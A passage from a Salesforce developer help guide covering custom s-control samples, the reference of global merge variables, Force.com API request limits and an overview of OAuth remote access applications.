this.parent.location.href = "{!URLFOR($Action.Case.View, Case.Id)}";
}
}
</script>
</head>
<body onload="init()">
<p>&nbsp;</p>
</body>
</html>

To implement this functionality, create an HTML s-control with the content above. Then, override the close case action
using the s-control. The s-control displays a message to users when they click Close Case on a case with no associated solutions.
If the case is associated with at least one solution, the standard close case page displays as usual. This override does not apply
to records updated using the API.
Tip: Use the URLFOR function in this example to build Salesforce.com URLs rather than specifying individual
URLs to ensure they are supported across releases.
To display a standard Salesforce.com page without invoking the override, set the no override argument in the
URLFOR function to “true.”
Also, use the retURL parameter in your URLFOR function to return the user to the detail page after saving.

For more information on using this function, see URLFOR on page 598.

1052
Develop Defining Custom S-Controls

Conditional Accounts Tab Home Page Override


You can override a tab home page conditionally, redirecting the original tab home page to an s-control depending on certain
conditions. For example, you may want to display an s-control, instead of the standard Accounts tab home page, to users with
a specific profile. Using the following sample code, create an s-control to display job applicant information to users with the
Recruiter profile when they click the Accounts tab; for all other users, display the standard Accounts tab home page.
To implement this, first create an s-control called “ApplicantHomePage” that contains the content to display to recruiters.
Next create an s-control of type HTML using the following code to implement the conditional override logic:

<script type="text/javascript">
//determine the user profile name
var recruiter = {!IF($Profile.Name = "Recruiter", true, false)};

//when the profile is recruiter - display a custom s-control page


if (recruiter) {
window.parent.location.href="{! urlFor($SControl.ApplicantHomePage)}";
} else {
//when the profile is not recruiter - display the standard Accounts tab page
window.parent.location.href="{! urlFor( $Action.Account.Tab ,
$ObjectType.Account,null,true)}";
}
</script>

Finally, override the Accounts tab to use the HTML s-control shown here. This example assumes that a profile named
“Recruiter” exists in your organization.
Note: $Profile merge fields are only available in Enterprise, Unlimited, and Developer Editions.

S-Controls that Include Snippets

Including Snippets
Include snippets in your custom s-controls to reuse common code. The following example references a snippet that provides
a header for a page that displays in a web tab. The page will have the title “My Title.” Use the $SControl global variable to
reference a snippet. To implement this, create two snippets called “Resize_Iframe_head” and “Resize_Iframe_onload” and
create an HTML s-control called “Resize_Iframe_sample” that includes the following code:

<html>
<body>
{! INCLUDE($SControl.Header_Snippet,
[title = "My Title", theme = "modern"])}
</body>
</html>

For more information on using this function, see INCLUDE on page 573.

Resizing Iframes
Dynamically resize the height of the iframe for s-controls on detail pages to make it big enough to fit the full content of the
custom s-control. This sample requires two snippets:
• Resize_Iframe_head
• Resize_Iframe_onload

1053
Develop Defining Custom S-Controls

Include these snippets in an HTML s-control called “Resize_Iframe_sample.” Put the first in the <head> section of the HTML
and the second inside the <body> tag as part of the onload event.
To implement this, create the two snippets first. To create the “Resize_Iframe_head” snippet, use the following code:

<script type="text/javascript">

function resizeIframe() {
var me = window.name;
if (me) {
var iframes = parent.document.getElementsByName(me);
if (iframes && iframes.length == 1) {
var height = document.body.scrollHeight;
iframes[0].style.height = height + "px";
}
}
}

</script>

To create the Resize_Iframe_onload snippet, use the following code. The snippet only includes the function call to the code
in the Resize_iframe_head snippet so that you have a single place to make a change in case the name of this function call
changes.This creates a dependency between the code in Resize_iframe_head and Resize_iframe_onload rather than a dependency
between the code in Resize_iframe_head and everywhere that Resize_iframe_head is included.

setTimeout(resizeIframe, 100)

Finally, include both snippets in an HTML s-control as shown in the example below. Embed this custom s-control on any
detail page and you will see the resizing in action.

<html>
<head>

{!INCLUDE($SControl.Resize_Iframe_head)}

</head>

<body onload="{!INCLUDE($SControl.Resize_Iframe_onload)}" >


This is the content of the document.
<br><br><br><br><br><br><br><br><br><br><br><br><br><br>
...and this demonstrates what happens with many lines of text, with iframe resizing.
</body>

</html>

Tips on Building S-Controls


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete custom s-controls: “Customize Application”

Use the following tips when building s-controls:

1054
Develop Defining Custom S-Controls

• If you create a URL s-control, do not select Show Section Heading on Detail Page in the page layout section where you
put the s-control. This option in conjunction with collapsible sections causes some problems in certain browsers.
• Use global variables to access special merge fields for components like custom buttons, links, and s-controls. For example,
the $Request global variable allows you to access query parameters inside a snippet, s-control, or custom button.
• Use the {!$Organization.UISkin} merge field in your s-control to retrieve the User Interface Theme that the
organization has selected. The Theme1 value for this merge field represents the Salesforce.com Classic theme and Theme2
represents the Salesforce.com theme. To view this merge field in an example, see Useful S-Controls on page 1048.
• S-controls use the {! and } characters (previously used to surround merge fields in formulas) to enclose an expression, which
can include one or more merge fields, functions, or global variables.
• When overriding an action, use the no override argument to prevent a recursion, indicated by empty frames on the
page. For example, the following s-control overrides the case close action:

<html>
<head>
<script src="/soap/ajax/13.0/connection.js">
</script>
<script>
function init()
{
var queryResult = sforce.connection.query("Select count() from CaseSolution Where CaseId
= '{!Case.Id}'");
var size = queryResult.size;
if (size > 0) {
//go to the standard case close page without invoking the override
window.parent.location.href = "{!URLFOR($Action.Case.CloseCase, Case.Id,
[retURL=URLFOR($Action.Case.View, Case.Id)], true)}"
}
else
{
alert("Case must contain at least one solution before it can be closed.");
//go to the standard case detail page
this.parent.location.href = "{!URLFOR($Action.Case.View, Case.Id)}";
}
}
</script>
</head>
<body onload="init()">
<p>&nbsp;</p>
</body>
</html>

See URLFOR on page 598 for more information on this example.


• To insert activity merge fields, select “Event” or “Task” from the Select Field Type drop-down list.

See Also:
Defining Custom S-Controls
Useful S-Controls
Understanding Global Variables
About S-Controls
Documentation Resources for Force.com Developers

1055
Develop Defining Custom S-Controls

Understanding Global Variables


S-controls and formulas available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer
Editions
Custom buttons and links are available in: All Editions
Visualforce available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
$Profile global merge field type available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete custom s-controls, formulas, or “Customize Application”
Visualforce pages:

Components such as s-controls, custom buttons, custom links, formulas, and Visualforce pages allow you to use special merge
fields to reference the data in your organization. Use the following global variables when choosing a merge field type to add
to your custom component:

$Action

Description: A global merge field type to use when referencing standard


Salesforce.com actions such as displaying the Accounts tab
home page, creating new accounts, editing accounts, and
deleting accounts. Use action merge fields in LINKTO and
URLFOR functions to reference the action selected.
Use:
1. Select the field type: $Action.
2. Insert a merge field, such as $Action.Account.New.

S-Control Example: The s-control below references the standard action for creating
new accounts in the $Action.Account.New merge field.

<html>
<body>
{!LINKTO("Create a New Account",
$Action.Account.New,
$ObjectType.Account)}
</body>
</html>

Visualforce Example: <apex:outputLink


value="{!URLFOR($Action.Account.New)}">Create
New Account</apex:outputLink>

Tips: This global variable is only available for custom buttons and
links, s-controls, and Visualforce pages.

1056
Develop Defining Custom S-Controls

$Api

Description: A global merge field type to use when referencing API URLs.
Use:
1. Select the field type: $Api.
2. Select a merge field, such as:
• $Api.Enterprise_Server_URL__xxx: The
Enterprise WSDL SOAP endpoint where xxx
represents the version of the API. For example,
$Api.Enterprise_Server_URL_140 is the merge
field value for version 14.0 of the API.
• $Api.Partner_Server_URL__xxx: The Partner
WSDL SOAP endpoint where xxx represents the
version of the API. $Api.Partner_Server_URL_120
is the merge field value for version 12.0 of the API.
• $Api.Session_ID: The session ID.

S-Control Example: The custom formula field below calls a service to replace the
SIC code. Replace myserver with the name of your server.

HYPERLINK("https://www.myserver.com/mypage.jsp"
&
"?Username=" & $User.Username &
"&crmSessionId=" & GETSESSIONID() &
"&crmServerUrl=" &
$Api.Partner_Server_URL_90 &
"&crmObjectId=" & Id &
"&crmFieldUpdate=sicCode",
"Update SIC Code")

Visualforce Example: Use dot notation to return the session ID.


{!$Api.Session_ID}

Tips: This global variable is only available for formula fields,


s-controls, custom buttons and links, and Visualforce pages.

$Component

Description: A global merge field type to use when referencing a Visualforce


component.
Use: Each component in a Visualforce page has its own id attribute.
When the page is rendered, this attribute is the same as the
Document Object Model (DOM) ID.Use $Component.Id
in JavaScript to reference a specific component on a page.

1057
Develop Defining Custom S-Controls

Visualforce Example: function beforeTextSave() {

document.getElementById('{!$component.msgpost}').value
= myEditor.getEditorHTML();
}

Tips: This global variable is only available for Visualforce pages.

$componentLabel

Description: A global merge field to use when referencing the label of an inputField component
on a Visualforce page that is associated with a message.
Use: Return the label of an inputField component that is associated with a message.
Visualforce Example: <apex:datalist var="mess" value="{!messages}">
<apex:outputText value="{!mess.componentLabel}:"
style="color:red/>
<apex:outputText value="{!mess.detail}" style="color:black"
/>
</apex:datalist>

Tips: This global variable is only available for Visualforce pages.

$CurrentPage

Description: A global merge field type to use when referencing the current Visualforce page.
Use: Use this expression in a Visualforce page to access the current page parameters and values, the current
page name ($CurrentPage.Name), or the URL of the current page ($CurrentPage.URL).
Visualforce Example: <apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
You belong to the {!account.name} account.<br/>
You're also a nice person.
</apex:pageBlock>
<apex:detail subject="{!account}" relatedList="false"/>
<apex:relatedList list="OpenActivities"
subject="{!$CurrentPage.parameters.relatedId}"/>
</apex:page>

Tips: This global variable is only available for Visualforce pages.

$Label

Description: A global merge field type to use when referencing a custom


label in a Visualforce page.
Use: Use this expression in a Visualforce page to access a custom
label. When the application server constructs the page to be
presented to the end-user’s browser, the value returned depends
upon the language setting of the contextual user. The value
returned is one of the following, in order of precedence:

1058
Develop Defining Custom S-Controls

1. the local translation's text


2. the packaged translation's text
3. the master label's text

Visualforce Example: <apex:page>


<apex:pageMessage severity="info"
strength="1"
summary="{!$Label.firstrun_helptext}"
/>
</apex:page>

Tips: This global variable is only available for Visualforce pages.

$Label.Site

Description: A global merge field type to use when referencing a standard label in a Visualforce page. Like all
standard labels, the text will display based on the the user's language and locale.
Use: Use this expression in a Visualforce page to access a standard label. When the application server
constructs the page to be presented to the end-user’s browser, the value returned depends on the
language and locale of the user.
Salesforce.com provides the following labels:

Label Message
authorization_required Authorization Required
bandwidth_limit_exceeded Bandwidth Limit Exceeded
change_password Change Password
change_your_password Change Your Password
click_forget_password If you have forgotten your password, click Forgot
Password to reset it.
community_nickname Nickname
confirm_password Confirm Password
down_for_maintenance <i>{0}</i> is down for maintenance
email Email
email_us email us
enter_password Did you forget your password? Please enter your username
below.
error Error: {0}
error2 Error
file_not_found File Not Found
forgot_password Forgot Password
forgot_password_confirmation Forgot Password Confirmation

1059
Develop Defining Custom S-Controls

Label Message
forgot_your_password_q Forgot Your Password?
get_in_touch Please <a href="{0}">{1}</a> if you need to get in touch.
go_to_login_page Go to Login Page
img_path /img/sites
in_maintenance Down For Maintenance
limit_exceeded Limit Exceeded
login Login
login_button Login
login_or_register_first You must first log in or register before accessing this page.
logout Logout
new_password New Password
new_user_q New User?
old_password Old Password
page_not_found Page Not Found
page_not_found_detail Page Not Found: {0}
password Password
passwords_dont_match Passwords did not match.
powered_by Powered by
register Register
resistration_confirmation Registration Confirmation
site_login Site Login
site_under_construction Site Under Construction
sorry_for_inconvenience Sorry for the inconvenience.
sorry_for_inconvenience_back_shortly Sorry for the inconvenience. We'll be back shortly.
stay_tuned Stay tuned.
submit Submit
temp_password_sent An email has been sent to you with your temporary
password.
thank_you_for_registering Thank you for registering. An email has been sent to you
with your temporary password.
under_construction <i>{0}</i> is under construction
user_registration New User Registration
username Username

1060
Develop Defining Custom S-Controls

Label Message
verify_new_password Verify New Password

Visualforce Example: <apex:page>


<apex:pageMessage severity="info"
strength="1"
summary="{!$Label.Site.temp_password_sent}"
/>
</apex:page>

Tips: This global variable is only available for Visualforce pages.

$ObjectType

Description: A global merge field type to use when referencing standard


or custom objects such as accounts, cases, or opportunities as
well as the value of a field on that object. Use object type merge
fields in LINKTO, GETRECORDIDS, and URLFOR
functions to reference a specific type of data or the VLOOKUP
function to reference a specific field in a related object.
Use:
1. Select the field type: $ObjectType.
2. Select an object to insert a merge field representing that
object, such as $ObjectType.Case.
Optionally, select a field on that object using the following
syntax:
$ObjectType.Role_Limit__c.Fields.Limit__c
.

Custom Button Example: The custom list button below references the cases standard
object in the$ObjectType.Case merge field.

{!REQUIRESCRIPT("/soap/ajax/13.0/connection.js")}

var records =
{!GETRECORDIDS($ObjectType.Case)};
var newRecords = [];

if (records[0] == null)
{
alert("Please select at least one row")
}
else
{
for (var n=0; n<records.length; n++) {
var c = new sforce.SObject("Case");
c.id = records[n];
c.Status = "New";
newRecords.push(c);
}

1061
Develop Defining Custom S-Controls

result =
sforce.connection.update(newRecords);

window.location.reload();
}

Validation Rule Example: This example checks that a billing postal code is valid by
looking up the first five characters of the value in a custom
object called Zip_Code__c that contains a record for every
valid zip code in the US. If the zip code is not found in the
Zip_Code__c object or the billing state does not match the
corresponding State_Code__c in the Zip_Code__c object, an
error is displayed.

AND(
LEN(BillingPostalCode) > 0,
OR(BillingCountry = "USA",
BillingCountry = "US"),
VLOOKUP(
$ObjectType.Zip_Code__c.Fields.State_Code__c,
$ObjectType.Zip_Code__c.Fields.Name,
LEFT(BillingPostalCode,5))

<> BillingState
)

Visualforce Example: The following example retrieves the label for the account
namefield:

{!$ObjectType.account.fields.name.label}

Tips: This global variable is available in Visualforce pages, custom


buttons and links, s-controls and validation rules.

$Organization

Description: A global merge field type to use when referencing information


about your company profile. Use organization merge fields to
reference your organization's city, fax, ID, or other details.
Use:
1. Select the field type: $Organization.
2. Select a merge field such as $Organization.Fax.

Validation Rule Example: Use organization merge fields to compare any attribute for
your organization with that of your accounts. For example,
you may want to determine if your organization has the same
country as your accounts. The validation formula below
references your organization's country merge field and requires
a country code for any account that is foreign.
AND($Organization.Country <> BillingCountry,
ISNULL( Country_Code__c ) )

1062
Develop Defining Custom S-Controls

Visualforce Example: Use dot notation to access your organization's information.


For example, to retrieve the street and state of your
organization, use the following:
{!$Organization.Street}
{!$Organization.State}

Note that you cannot use the {!$Organization.UiSkin}


in Visualforce.

Tips: The organization merge fields get their values from whatever
values are currently stored as part of your company information
in Salesforce.com.

$Page

Description: A global merge field type to use when referencing a Visualforce


page.
Use: Use this expression in a Visualforce page to access another
Visualforce page.
Visualforce Example: <apex:page>
<h1>Linked</h1>
<a href="{!$Page.otherPage}">This is a
link to another page</a>
</apex:page>

Tips: This global variable is only available for Visualforce pages.

$Profile

Description: A global merge field type to use when referencing information


about the current user's profile. Use profile merge fields to
reference information about the user's profile such as license
type or name.
Use:
1. Select the field type: $Profile.
2. Select a merge field such as $Profile.Name.

Validation Rule Example: The validation rule formula below references the profile name
of the current user to ensure that only the record owner or
users with this profile can make changes to a custom field
called Personal Goal:

AND(
ISCHANGED( Personal_Goal__c ),
Owner <> $User.Id,
$Profile.Name <> "Custom: System Admin"
)

1063
Develop Defining Custom S-Controls

Visualforce Example: To return the current user's profile, use the following:
{$Profile.Name}

Tips: • $Profile merge fields are only available in Editions that


can create custom profiles.
• Use profile names to reference standard profiles in
$Profile merge fields. If you previously referenced the
internal value for a profile, use the following list to
determine the name to use instead:

Standard Profile $Profile Value


Name
System Administrator PT1
Standard User PT2

Ready Only PT3

Solution Manager PT4

Marketing User PT5

Contract Manager PT6

Partner User PT7

Standard Platform PT8


User
Standard Platform PT9
One App User
Customer Portal User PT13
Customer Portal PT14
Manager

• Your merge field values will be blank if the profile


attributes are blank. For example profile Description
is not required and may not contain a value.
• You do not need to give users permissions or access rights
to their profile information to use these merge fields.

$Request

Description: A global merge field to use when referencing a query parameter


by name that returns a value.
Use: Add $Request manually to your s-control.
S-Control Example: The snippet below, named Title_Snippet, requires two
input parameters: titleTheme and titleText. You can

1064
Develop Defining Custom S-Controls

reuse it in many s-controls to provide page title and theme in


your HTML.

<h2 class=”{!$Request.titleTheme}.title”>
{!$Request.titleText}</h2>

The s-control below calls this snippet using the INCLUDE


function, sending it the parameters for both the title and theme
of the HTML page it creates.

<html>
<head>
</head>
<body>
{! INCLUDE($SControl.Title_Snippet,
[titleTheme = "modern", titleText = "My
Sample Title"]) }

... Insert your page specific content here


...

</body>
</html>

Tips: Do not use $Request in Visualforce pages to reference query


parameters. Use $CurrentPage on page 1058 instead.

$Resource

Description: A global merge field type to use when referencing an existing


static resource by name in a Visualforce page. You can also
use resource merge fields in URLFOR functions to reference
a particular file in a static resource archive.
Use: Use $Resource to reference an existing static resource. The
format is $Resource.nameOfResource, such as
$Resource.TestImage.

Visualforce Examples: The Visualforce component below references an image file


that was uploaded as a static resource and given the name
TestImage:

<apex:image url="{!$Resource.TestImage}"
width="50" height="50" />

To reference a file in an archive (such as a .zip or .jar file),


use the URLFOR function. Specify the static resource name
that you provided when you uploaded the archive with the
first parameter, and the path to the desired file within the
archive with the second. For example:

<apex:image url="{!URLFOR($Resource.TestZip,
'images/Bluehills.jpg')}" width="50"
height="50" />

1065
Develop Defining Custom S-Controls

Tips: This global variable is only available for Visualforce pages.

$SControl

Description: A global merge field type to use when referencing an existing


custom s-control by name. Use s-control merge fields in
LINKTO, INCLUDE, and URLFOR functions to reference
one of your custom s-controls.
Use:
1. Select the field type: $SControl.
2. Select an s-control to insert a merge field representing that
s-control, such as $Scontrol.Header_Snippet.

S-Control Example: The s-control below references the snippet in the


$Scontrol.Header_Snippet merge field:

<html>
<body>
{! INCLUDE($SControl.Header_Snippet,
[title = "My Title", theme = "modern"])}
</body>
</html>

Visualforce Example: The following example shows how to link to an s-control


named HelloWorld in a Visualforce page:

<apex:page>
<apex:outputLink
value="{!$SControl.HelloWorld}">Open the
HelloWorld s-control</apex:outputLink>
</apex:page>

Note that if you simply want to embed an s-control in a page,


you can use the <apex:scontrol> tag without the
$SControl merge field. For example:

<apex:page>
<apex:scontrol controlName="HelloWorld" />
</apex:page>

Tips: • The drop-down list for Insert Merge Field lists all
your custom s-controls except snippets. Although snippets
are s-controls, they behave differently. For example, you
cannot reference a snippet from a URLFOR function
directly; snippets are not available when creating a custom
button or link that has a Content Source of Custom
S-Control; and you cannot add snippets to your page
layouts. To insert a snippet in your s-control, use the
Insert Snippet drop-down button.
• This global variable is only available for custom buttons
and links, s-controls, and Visualforce pages.

1066
Develop Defining Custom S-Controls

$Site

Description: A global merge field type to use when referencing information about the current Force.com site.
Use:
Use dot notation to access information about the current Force.com site. Note that only the following
site fields are available:

Merge Field Description


{!$Site.Name} Returns the API name of the current site.
{!$Site.Domain} Returns the Force.com domain name for your organization.
{!$Site.CustomWebAddress} Returns the value of the Custom Web Address field for the
current site.
{!$Site.OriginalUrl} Returns the original URL for this page if it is a designated
error page for the site; otherwise, returns null.
{!$Site.CurrentSiteUrl} Returns the value of the site URL for the current request (for
example, http://myco.com/ or
https://myco.force.com/prefix/).

{!$Site.LoginEnabled} Returns true if the current site is associated with an active


login-enabled portal; otherwise returns false.
{!$Site.RegistrationEnabled} Returns true if the current site is associated with an active
self-regitration-enabled Customer Portal; otherwise returns
false.

{!$Site.IsPasswordExpired} For authenticated users, returns true if the currently


logged-in user's password is expired. For non-authenticated
users, returns false.
{!$Site.AdminEmailAddress} Returns the value of the Site Contact field for the current
site.
{!$Site.Prefix} Returns the URL path prefix of the current site. For example,
if your site URL is myco.force.com/partners, partners
is the path prefix. Returns null if the prefix is not defined, or
if the page was accessed using a custom Web address.
{!$Site.Template} Returns the template name associated with the current site;
returns the default template if no template has been
designated.
{!$Site.ErrorMessage} Returns an error message for the current page if it is a
designated error page for the site and an error exists; otherwise,
returns an empty string.
{!$Site.ErrorDescription} Returns the error description for the current page if it is a
designated error page for the site and an error exists; otherwise,
returns an empty string.
{!$Site.AnalyticsTrackingCode} The tracking code associated with your site. This code can be
used by services like Google Analytics to track page request
data for your site.

1067
Develop Defining Custom S-Controls

Visualforce Example: The following example shows how to use the $Site.Template merge field:

<apex:page title="Job Application Confirmation" showHeader="false"


standardStylesheets="true">
<!-- The site template provides layout & style for the site -->
<apex:composition template="{!$Site.Template}">
<apex:define name="body">
<apex:form>
<apex:commandLink value="<- Back to Job Search"
onclick="window.top.location='{!$Page.PublicJobs}';return
false;"/>
<br/>
<br/>
<center><apex:outputText value="Your application has been saved.
Thank
you for your interest!"/></center>
<br/>
<br/>
</apex:form>
</apex:define>
</apex:composition>
</apex:page>

Tips: This global variable is available in Visualforce pages, email templates, and s-controls.

$System.OriginDateTime

Description: A global merge field that represents the literal value of


1900-01-01 00:00:00. Use this global variable when
performing date/time offset calculations or to assign a literal
value to a date/time field.
Use:
1. Select the field type: $System.
2. Select OriginDateTime from the Insert Merge
Field option.

Formula Example: The example below illustrates how to convert a date field into
a date/time field. It uses the date in the OriginDateTime
merge field to get the number of days since a custom field
called My Date Field. Then, it adds the number of days to
the OriginDateTime value.

$System.OriginDatetime + ( My_Date_Field__c
- DATEVALUE($System.OriginDatetime) )

Note: OriginDateTime is in the GMT time zone


but the result is displayed in the user's local time zone.

Visualforce Example: The following example calculates the number of days that have
passed since 1900:
{!NOW() - $System.OriginDateTime}

1068
Develop Defining Custom S-Controls

Tips: This global variable is available in Visualforce pages, default


values, field updates, formula fields, s-controls, and validation
rules.

$User

Description: A global merge field type to use when referencing information


about the current user. User merge fields can reference
information about the user such as alias, title, and ID.
Use:
1. Select the field type: $User.
2. Select a merge field such as $User.Username.

Validation Rule Example: The validation rule formula below references the ID of the
current user to determine if the current user is the owner of
the record. Use an example like this to ensure that only the
record owner or users with an administrator profile can make
changes to a custom field called Personal Goal:

AND(
ISCHANGED( Personal_Goal__c ),
Owner <> $User.Id,
$Profile.Name <> "Custom: System Admin"
)

Visualforce Example: The following example displays the current user's company
name, as well as the status of the current user (which returns
a Boolean value).
<apex:page>
<h1>Congratulations</h1>
This is your new Apex Page
<p>The current company name for this
user is: {!$User.CompanyName}</p>
<p>Is the user active?
{!$User.isActive}</p>
</apex:page>

Tips: • The current user is the person changing the record that
prompted the default value, validation rule, or other
operation that uses these global merge fields.
• When a Web-to-Case or Web-to-Lead process changed
a record, the current user is the Default Lead Owner
or Default Case Owner.
• When a workflow field update changes a record, the user
is the Default Workflow User.
• Some of the $User merge fields can be used in mobile
configuration filters. For more information, see Merge
Fields for Mobile Filter Criteria on page 2184.

1069
Develop Defining Custom S-Controls

$UserRole

Description: A global merge field type to use when referencing information


about the current user's role. Role merge fields can reference
information such as role name, description, and ID.
Use:
1. Select the field type: $UserRole.
2. Select a merge field such as $UserRole.Name.

Validation Rule Example: The validation rule formula below references the user role
name to validate that a custom field called Discount
Percent does not exceed the maximum value allowed for
that role:

Discount_Percent__c >

VLOOKUP($ObjectType.Role_Limits__c.Fields.Limit__c,

$ObjectType.Role_Limits__c.Fields.Name,
$UserRole.Name)

Visualforce Example: {!$UserRole.LastModifiedById}

Tips: • The current user is the person changing the record that
prompted the default value, validation rule, or other
operation that uses these global merge fields.
• When a Web-to-Case or Web-to-Lead process changed
a record, the current user is the Default Lead Owner
or Default Case Owner.
• When a workflow field update changes a record, the user
is the Default Workflow User.
Note: You cannot use the following $UserRole
values in Visualforce:
• CaseAccessForAccountOwner
• ContactAccessForAccountOwner
• OpportunityAccessForAccountOwner
• PortalType

See Also:
Defining Custom S-Controls
Useful S-Controls
Tips on Building S-Controls
Documentation Resources for Force.com Developers

1070
Develop Force.com API Usage Limits

Force.com API Usage Limits


Available in: Enterprise, Unlimited, and Developer Editions

To maintain optimum performance and ensure that the Force.com API is available to all of our customers, salesforce.com
balances transaction loads by imposing two types of limits:

• Concurrent API Request Limits


• Total API Request Limits

Concurrent API Request Limits


The following table lists the limits for various types of organizations for concurrent requests (calls) with a duration of 20
seconds or longer:

Organization Type Limit


Developer Edition 5
Trial organizations 5
Production organizations 50
Sandbox 50

Total API Request Limits


The following table lists the limits for the total API requests (calls) per 24-hour period for an organization:

Salesforce.com Edition API Calls Per License Type Minimum Maximum


Developer Edition N/A 5,000 5,000
Force.com Free Edition • Salesforce: 1,000 5,000 1,000,000
• Salesforce Platform: 200

• Enterprise Edition • Salesforce: 1,000 5,000 1,000,000


• Professional Edition with • Salesforce Platform: 1,000
API access enabled • Salesforce Platform Light: 200
• Force.com - One App: 200
• Force.com - Free: 200
• Content Only User: 200
• Gold Partner: 200
• Silver Partner: 200
• Bronze Partner: 200

Unlimited Edition • Salesforce: 5,000 5,000 5,000,000


• Salesforce Platform: 5,000
• Salesforce Platform Light: 200

1071
Develop Force.com API Usage Limits

Salesforce.com Edition API Calls Per License Type Minimum Maximum


• Force.com - One App: 200
• Force.com - Free: 200
• Content Only User: 200
• Gold Partner: 200
• Silver Partner: 200
• Bronze Partner: 200

Sandbox N/A N/A 5,000,000

Limits are enforced against the aggregate of all API calls made by the organization in a 24 hour period; limits are not on a
per-user basis. When an organization exceeds a limit, all users in the organization may be temporarily blocked from making
additional calls. Calls will be blocked until usage for the preceding 24 hours drops below the limit.
In the Salesforce.com application, administrators can view how many API requests have been issued in the last 24 hours on
the Company Information page at Setup ➤ Company Profile ➤ Company Information. Administrators can also view a
more detailed report of API usage over the last seven days by navigating to the Reports tab, selecting the Administrative
Reports folder and clicking the API Usage Last 7 days report.
Note: Limits are automatically enforced for all editions.

Any action that sends a call to the API counts toward usage limits, except the following:
• Outbound messages
• Apex callouts
You can configure your organization so that email is sent to a designated user when the number of API requests has exceeded
a specified percentage of the limit. For more information, see About API Usage Notifications on page 373.

Example API Usage Metering Calculations


The following examples illustrate API usage metering calculations for several scenarios:
• For an Enterprise Edition organization with five Salesforce licenses, the request limit is 5,000 requests (5 licenses X 1,000
calls).
• For an Enterprise Edition organization with 15,000 Salesforce licenses, the request limit is 1,000,000 (the number of
licenses X 1,000 calls is greater than the maximum value, so the lower limit of 1,000,000 is used).
• For a Developer Edition organization that made 4,500 calls at 5:00 AM Wednesday, 499 calls at 11:00 PM Wednesday,
only one more call could successfully be made until 5:00 AM Thursday.
• For an Enterprise Edition organization with 20 Gold Partner licenses, the request limit is 5,000 (the number of licenses
X 200 calls is less than the minimum value of 5,000).

See Also:
Monitoring Resources
Salesforce.com Editions and Limits
Documentation Resources for Force.com Developers
Viewing User License Types

1072
Develop Documentation Resources for Force.com Developers

Documentation Resources for Force.com Developers


The Developer Force Technical Library is your resource for information about developing on the Force.com platform. Here
you can learn Force.com fundamentals and advanced programming techniques, get started with Visualforce or Apex, learn
how to write SOQL and SOSL queries, dig into Web services and metadata APIs, and more.
Find everything from high-level tutorials to detailed reference guides and sample code, and learn how to package and implement
your apps.
Note: Many of these developer documentation resources are only available in English.

See Also:
Using the Help & Training Window

Remote Access Application Overview


Available in: All Editions

User Permissions Needed


To manage, create, edit and delete OAuth applications: “Manage Remote Access”

Salesforce.com supports the OAuth protocol for authenticating Web applications that access data in a Salesforce.com instance.
OAuth is an open protocol that allows secure authentication and is often described as the valet key of software access. A valet
key only allows access to certain features of your car: you cannot open the trunk or glove compartment using a valet key.
Similarly, OAuth limits access to a software application, without having to hand out the user's username and password.
Note: Salesforce.com currently supports OAuth version 1.0.A.

For more information on the OAuth standard, see the OAuth.net documentation.
A remote access application is an application external to Salesforce.com that uses the OAuth protocol to verify both the
Salesforce.com user and the external application.
Tip: OAuth does not automatically limit access to a user's Salesforce.com data. Limits to data access are either specified
by the user's profile or by the package access controls of a remote access application that is included in a managed
package.

For more information on terminology, see Remote Access Applications and OAuth Terminology on page 1074.
The following is the general flow for using a remote access application with Salesforce.com:

1073
Develop Remote Access Application Overview

1. A developer uses the remote access pages in Salesforce.com (Setup ➤ Develop ➤ Remote Access) to define a remote
access application.
In this example, the remote access application is a Google gadget, which uses data that already exists in Salesforce.com.
2. The developer uses the generated consumer secret and key from the remote access application detail page and develops
the Google gadget using the consumer secret and key and the OAuth library.
3. A user starts to use the Google gadget application.
4. The user performs an action with the Google gadget that requires access to Salesforce.com data.
5. The user is presented with a login to Salesforce.com.
6. The Remote Access Authorization page displays. It verifies if the user wants to grant the remote access application, that
is, the Google gadget, access to the user's Salesforce.com data.
7. If the user approves access, the approval page displays. The approval page may contain a verification code that the user
must enter in the Google gadget application.
8. If the user denies access, the user is prompted to log out of Salesforce.com.
9. After a user has granted access to a remote access application, he or she can revoke that access by clicking Setup ➤ My
Personal Information ➤ Personal Information and clicking Deny next to the name of the application in the Remote
Access related list.

See Also:
Remote Access Applications and OAuth Terminology
Defining Remote Access Applications
Authenticating Remote Access Application OAuth
Packaging Remote Access Applications
Managing Remote Access Applications
Installing a Package

Remote Access Applications and OAuth Terminology


Available in: All Editions

User Permissions Needed


To manage, create, edit and delete OAuth applications: “Manage Remote Access”

AccessToken
A value used by the consumer to gain access to protected resources on behalf of the user, instead of using the user’s
Salesforce.com credentials.

Consumer
A website or application that uses OAuth to authenticate both the Salesforce.com user as well as the application on the
user's behalf.

1074
Develop Defining Remote Access Applications

Consumer Key
A value used by the consumer to identify itself to Salesforce.com.

Consumer Secret
A secret used by the consumer to establish ownership of the consumer key.

Nonce
A number, often a random number, used during authentication to ensure that requests cannot be reused.

OAuth Protocol Parameters


Parameters with names beginning with oauth_, such as oauth_consumer_key and oauth_nonce.

RequestToken
A value used by the consumer to obtain authorization from the user, and exchanged for an AccessToken.

Service Provider
A Web application that allows access using OAuth. This is your Salesforce.com instance after remote access has been
enabled.

TokenSecret
A secret used by the consumer to establish ownership of a given token, both for RequestTokens and AccessTokens.

User
An individual who has a Salesforce.com login.

See Also:
Remote Access Application Overview

Defining Remote Access Applications


Available in: All Editions

User Permissions Needed


To manage, create, edit and delete OAuth applications: “Manage Remote Access”

Use the remote access pages to define remote access applications that can access a Salesforce.com instance.
To define a remote access application:

1. Click Setup ➤ Develop ➤ Remote Access, and click New. Alternatively, click Setup ➤ Create ➤ Packages, click the
name of the managed package, then click New in the Remote Access section.
Important: If you create a remote access application from a package, it is automatically included in that package.
Once you add a remote access application to a package, you cannot remove it from the package. The only way to
remove a remote access application from a package is to delete it from your organization.

1075
Develop Defining Remote Access Applications

2. Specify the name of the application. This is required. Salesforce.com recommends that this name match the name of the
actual application.
3. Specify the Callback URL, which is the URL that the user should be returned to after they approve access for the application.
If Callback URL is defined, the oauth_callback parameter must be set to the oob when trying to get the request token.
This URL must be secure (uses https).
